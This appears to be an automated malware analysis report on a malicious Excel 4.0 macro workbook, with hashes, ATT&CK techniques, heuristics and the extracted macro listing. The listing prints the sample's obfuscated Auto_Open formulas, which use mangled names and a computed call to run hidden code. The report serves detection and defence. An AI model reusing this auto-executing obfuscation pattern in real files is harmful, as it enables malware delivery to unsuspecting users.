Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 618a89832300cd0a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:19 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: efffc200c03a2bc06944263d0d8033a2 SHA-1: 329327f50ba78a583fd5157ad49536d767127a73 SHA-256: 618a89832300cd0a8585c38cda9635fa79bb504f15e6b073067207dd1f9db495
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open macro, a common technique for initial execution. The macro sheet uses obfuscated strings and dangerous formula APIs, including the RUN function, indicating an intent to execute arbitrary code. This suggests the file is a downloader for a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6924 bytes
SHA-256: 2b8b5a130de09b68f8b653d090bdcd648838b56758cc9f403435a8cf21d7d47d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'krDIAibvBZzJ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SDDXoJHFwsG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G141 
' 0018     24 LABEL : Cell Value, String Constant - AUyUHuCkc len=0 
' 0018     26 LABEL : Cell Value, String Constant - aYDuwRJrlyM len=0 
' 0018     24 LABEL : Cell Value, String Constant - bdDtVBzNA len=0 
' 0018     21 LABEL : Cell Value, String Constant - CvHobf len=0 
' 0018     20 LABEL : Cell Value, String Constant - EJPIi len=0 
' 0018     21 LABEL : Cell Value, String Constant - fbmlBA len=0 
' 0018     25 LABEL : Cell Value, String Constant - hwZwYsoPiQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - iFlokqpWTi len=0 
' 0018     23 LABEL : Cell Value, String Constant - ilRfDJeJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - kmTdwnmqtS len=0 
' 0018     27 LABEL : Cell Value, String Constant - krDIAibvBZzJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - lXvPkSpu len=0 
' 0018     27 LABEL : Cell Value, String Constant - MymfzBKdfJkC len=0 
' 0018     26 LABEL : Cell Value, String Constant - NoMxtVebVRn len=0 
' 0018     25 LABEL : Cell Value, String Constant - NrjOGsgyGQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ujmbn len=0 
' 0018     25 LABEL : Cell Value, String Constant - XFpwqVGyrH len=0 
' 0018     20 LABEL : Cell Value, String Constant - yJqDy len=0 
' 0018     21 LABEL : Cell Value, String Constant - yZeBGS len=0 
' 0018     24 LABEL : Cell Value, String Constant - zOsAJGHRC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SDDXoJHFwsG,G45,"SET.NAME("aYDuwRJrlyM",0+VALUE("0"))",""
'  SDDXoJHFwsG,G50,"SET.NAME("Ujmbn",aYDuwRJrlyM)",""
'  SDDXoJHFwsG,S52,"",-629.00000000000000000000
'  SDDXoJHFwsG,S53,"",-649.00000000000000000000
'  SDDXoJHFwsG,S54,"",102.00000000000000000000
'  SDDXoJHFwsG,G55,"SET.NAME("iFlokqpWTi",aYDuwRJrlyM)",""
'  SDDXoJHFwsG,S55,"",-186.00000000000000000000
'  SDDXoJHFwsG,S56,"",528.00000000000000000000
'  SDDXoJHFwsG,S57,"",868.00000000000000000000
'  SDDXoJHFwsG,G60,"SET.NAME("bdDtVBzNA",COUNTA(zOsAJGHRC))",""
'  SDDXoJHFwsG,G63,"SET.NAME("fbmlBA",COUNTA(CvHobf))",""
'  SDDXoJHFwsG,G66,[],""
'  SDDXoJHFwsG,G71,"SET.NAME("AUyUHuCkc","")",""
'  SDDXoJHFwsG,G75,"Ujmbn",""
'  SDDXoJHFwsG,G79,"SET.NAME("MymfzBKdfJkC",HLOOKUP("*",zOsAJGHRC,Ujmbn,FALSE))",""
'  SDDXoJHFwsG,G83,"NoMxtVebVRn",""
'  SDDXoJHFwsG,G86,"SET.NAME("kmTdwnmqtS",aYDuwRJrlyM)",""
'  SDDXoJHFwsG,G90,[],""
'  SDDXoJHFwsG,G94,"kmTdwnmqtS",""
'  SDDXoJHFwsG,G96,"NrjOGsgyGQ",""
'  SDDXoJHFwsG,G100,"XFpwqVGyrH",""
'  SDDXoJHFwsG,G104,"yJqDy",""
'  SDDXoJHFwsG,G109,"SET.NAME("hwZwYsoPiQ",VALUE(HLOOKUP("*",CvHobf,yJqDy,FALSE)))",""
'  SDDXoJHFwsG,G112,"lXvPkSpu",""
'  SDDXoJHFwsG,G115,"AUyUHuCkc",""
'  SDDXoJHFwsG,G117,"iFlokqpWTi",""
'  SDDXoJHFwsG,G122,NEXT(),""
'  SDDXoJHFwsG,G125,"ilRfDJeJ",""
'  SDDXoJHFwsG,G127,[],""
'  SDDXoJHFwsG,G131,"EJPIi",""
'  SDDXoJHFwsG,G134,NEXT(),""
'  SDDXoJHFwsG,G136,RETURN(),""
'  SDDXoJHFwsG,G169,"SET.NAME("krDIAibvBZzJ",G45)",""
'  SDDXoJHFwsG,G173,"zOsAJGHRC",""
'  SDDXoJHFwsG,G175,"SET.NAME("CvHobf",R42C11)",""
'  SDDXoJHFwsG,G180,"SET.NAME("EJPIi",188)",""
'  SDDXoJHFwsG,G182,"SET.NAME("yZeBGS",7)",""
'  SDDXoJHFwsG,G187,krDIAibvBZzJ(),""
'  SDDXoJHFwsG,G188,HALT(),""

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